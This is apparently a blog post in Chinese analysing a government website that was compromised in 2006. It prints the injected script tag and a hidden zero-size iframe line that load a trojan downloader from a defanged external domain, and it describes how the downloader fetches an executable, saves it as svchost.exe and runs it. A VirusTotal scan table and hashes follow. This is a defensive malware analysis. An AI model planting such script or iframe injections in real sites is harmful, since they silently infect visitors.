一个被挂木马的政府网站

布满荆棘的人生 2024-04-20 11:18 71阅读 0赞

**endurer**　原创  
2006-09-21　第**1**版

该网站首页被加入代码：  
/--------  
＜script language="JavaScript" src="hxxp://www\*\*\*.zhu\*\*jiang\*\*\*q\*h\*.com/images/ad.js"＞＜/script＞  
\--------/

**ad.js**　的内容为：  
/--------  
document.write("＜iframe src=hxxp://www\*\*\*.zhu\*\*jiang\*\*\*q\*h\*.com/images/ad\*\*\*.htm width=0 height=0＞＜/iframe＞");  
\--------/

**ad\*\*\*.htm**　Kaspersky报为：Trojan-Downloader.VBS.Small.av，瑞星报为 **Trojan.DL.VBS.Agent.l**，其内容为Encode加密的VBScript脚本代码，利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载文件会下载 hxxp://www\*\*\*.zhu\*\*jiang\*\*\*q\*h\*.com/images/baidu.exe，保存为 %temp%/svchost.exe，并利用Shell.Application 对象 的 ShellExecute 方法 来运行。

**baidu.exe**　瑞星报为 **Trojan.DL.Small.tk**。

Complete scanning result of "baidu.exe.del", received in VirusTotal at 09.21.2006, 14:50:42 (CET).

<table> 
 <thead> 
  <tr> 
   <td>Antivirus</td> 
   <td>Version</td> 
   <td align="center">Update</td> 
   <td>Result</td> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>AntiVir</td> 
   <td>7.2.0.16</td> 
   <td align="center">09.21.2006</td> 
   <td style="COLOR: red">HEUR/Malware</td> 
  </tr> 
  <tr> 
   <td>Authentium</td> 
   <td>4.93.8</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>Avast</td> 
   <td>4.7.844.0</td> 
   <td align="center">09.19.2006</td> 
   <td style="COLOR: red">Win32:Tiny-K</td> 
  </tr> 
  <tr> 
   <td>AVG</td> 
   <td>386</td> 
   <td align="center">09.20.2006</td> 
   <td style="COLOR: red">Downloader.Generic.RRD</td> 
  </tr> 
  <tr> 
   <td>BitDefender</td> 
   <td>7.2</td> 
   <td align="center">09.21.2006</td> 
   <td style="COLOR: red">Generic.Malware.dld!!.17ADDB55</td> 
  </tr> 
  <tr> 
   <td>CAT-QuickHeal</td> 
   <td>8.00</td> 
   <td align="center">09.20.2006</td> 
   <td style="COLOR: red">(Suspicious) - DNAScan</td> 
  </tr> 
  <tr> 
   <td>ClamAV</td> 
   <td>devel-20060426</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>DrWeb</td> 
   <td>4.33</td> 
   <td align="center">09.21.2006</td> 
   <td style="COLOR: red">Trojan.DownLoader.4554</td> 
  </tr> 
  <tr> 
   <td>eTrust-InoculateIT</td> 
   <td>23.73.1</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>eTrust-Vet</td> 
   <td>30.3.3090</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>Ewido</td> 
   <td>4.0</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>Fortinet</td> 
   <td>2.82.0.0</td> 
   <td align="center">09.20.2006</td> 
   <td style="COLOR: red">suspicious</td> 
  </tr> 
  <tr> 
   <td>F-Prot</td> 
   <td>3.16f</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>F-Prot4</td> 
   <td>4.2.1.29</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>Ikarus</td> 
   <td>0.2.65.0</td> 
   <td align="center">09.20.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>Kaspersky</td> 
   <td>4.0.2.24</td> 
   <td align="center">09.21.2006</td> 
   <td style="COLOR: red">Trojan-Downloader.Win32.Tiny.y</td> 
  </tr> 
  <tr> 
   <td>McAfee</td> 
   <td>4856</td> 
   <td align="center">09.20.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>Microsoft</td> 
   <td>1.1560</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>NOD32v2</td> 
   <td>1.1765</td> 
   <td align="center">09.20.2006</td> 
   <td style="COLOR: red">a variant of Win32/TrojanDownloader.Tiny.Y</td> 
  </tr> 
  <tr> 
   <td>Norman</td> 
   <td>5.90.23</td> 
   <td align="center">09.21.2006</td> 
   <td style="COLOR: red">W32/Suspicious_U.gen</td> 
  </tr> 
  <tr> 
   <td>Panda</td> 
   <td>9.0.0.4</td> 
   <td align="center">09.21.2006</td> 
   <td style="COLOR: red">Suspicious file</td> 
  </tr> 
  <tr> 
   <td>Sophos</td> 
   <td>4.09.0</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>Symantec</td> 
   <td>8.0</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>TheHacker</td> 
   <td>6.0.1.075</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>UNA</td> 
   <td>1.83</td> 
   <td align="center">09.20.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>VBA32</td> 
   <td>3.11.1</td> 
   <td align="center">09.21.2006 </td> 
   <td>no virus found</td> 
  </tr> 
  <tr> 
   <td>VirusBuster</td> 
   <td>4.3.7:9</td> 
   <td align="center">09.20.2006 </td> 
   <td>no virus found</td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <thead> 
  <tr> 
   <td><u>Aditional Information</u></td> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>File size: 1416 bytes</td> 
  </tr> 
  <tr> 
   <td>MD5: ad492c5aded7310ee2289838622d5827</td> 
  </tr> 
  <tr> 
   <td>SHA1: d45b3846691d33cf9374600449688a8c5e2276af</td> 
  </tr> 
  <tr> 
   <td>packers: UPack</td> 
  </tr> 
 </tbody> 
</table>